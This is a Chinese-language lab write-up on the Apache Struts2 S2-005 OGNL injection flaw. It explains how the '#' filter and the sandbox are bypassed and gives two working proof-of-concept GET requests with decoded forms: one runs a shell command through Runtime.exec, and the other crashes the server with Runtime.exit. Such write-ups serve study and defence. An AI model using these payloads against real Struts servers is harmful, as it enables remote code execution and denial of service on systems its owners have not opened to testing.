一、漏洞原理
OGNL除其他功能外,还提供了广泛的表达式评估功能,在S2-003中,Struts会将HTTP的每个参数名解析为OGNL语句执行(可以理解为Java代码),
例如:XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:
user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
OGNL表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,通过unicode编码(u0023)或8进制(43),绕过ParametersInterceptor内置的'#'使用保护
,从而能够操纵服务器端上下文对象。
例如:
要将#session.user设置为“ 0wn3d”,可以使用以下参数名称:
('\ u0023'+'session 'user '')(未使用)= 0wn3d
网址编码后,其外观如下所示:
('\ u0023'%20%2b%20'session 'user '')(未使用)= 0wn3d
在修复S2-003时,官方新出了一个沙盒机制,禁止静态方法调用和类方法执行等。默认禁止了静态方法的调用(allowStaticMethodAcces和MethodAccessor.denyMethodExecution
),
但是我们可以利用OGNL表达式先把沙盒关闭掉,此安全配置被绕过,就又可以执行命令了。
xwork.MethodAccessor.denyMethodExecution设置为false,
allowStaticMethodAccess设置为true
整体过程如下:
S2-003 使用unicode编码\u0023和8进制编码43绕过s2对#的防御
S2-003 后官方增加了安全模式(沙盒)
S2-005 使用OGNL表达式将沙盒关闭,继续执行代码
影响版本
2.0.0 - 2.1.8.1
二、环境启动
docker-compose build
docker-compose up -d
访问:http:ip:8080
三、漏洞利用:
3.1、利用方式一
POC如下
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true
&(aaaa)((%27\u0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))
&(asdf)(('\u0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
我们将POC还原:
1、?('#_memberAccess['allowStaticMethodAccess']')(vaaa)=true
2、&(aaaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#vccc')(#vccc=new java.lang.Boolean("false")))
3、&(asdf)(('#rt.exec("touch /tmp/success".split(" "))')(#rt=@java.lang.Runtime@getRuntime()))=1
我们看还原后的第一步:
将_memberAccess变量中的allowStaticMethod方法设置为true
,此选项可以执行静态方法。
第二步:
将上下文中的xwork.MethodAccessor.denyMethodExecution设置为false,
此选项允许方法的执行。
前文我们提到,需要先将沙盒防御关闭,才能利用,而前两步骤就是为了关闭沙盒的防御,由于我们利用的OGNl表达式,所以在写POC的时候,需要遵守OGNL的语法树规则。
第三步:
是我们的攻击代码,通过调用Runtime类的静态方法获取一个Runtime对象。执行exec("touch /tmp/success".split(" "))
操作。
3.2、利用方式二
POC如下:
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true
&(aaaa)((%27\u0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))
&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
我们将POC还原:
1、?('#_memberAccess['allowStaticMethodAccess']')(vaaa)=true
2、&(aaaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#vccc')(#vccc=new java.lang.Boolean("false")))
3、&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
前两步骤和POC1中一样,是为了绕过沙盒防御。
第三步中的命令,会导致服务器挂掉。
参考链接:https://github.com/vulhub/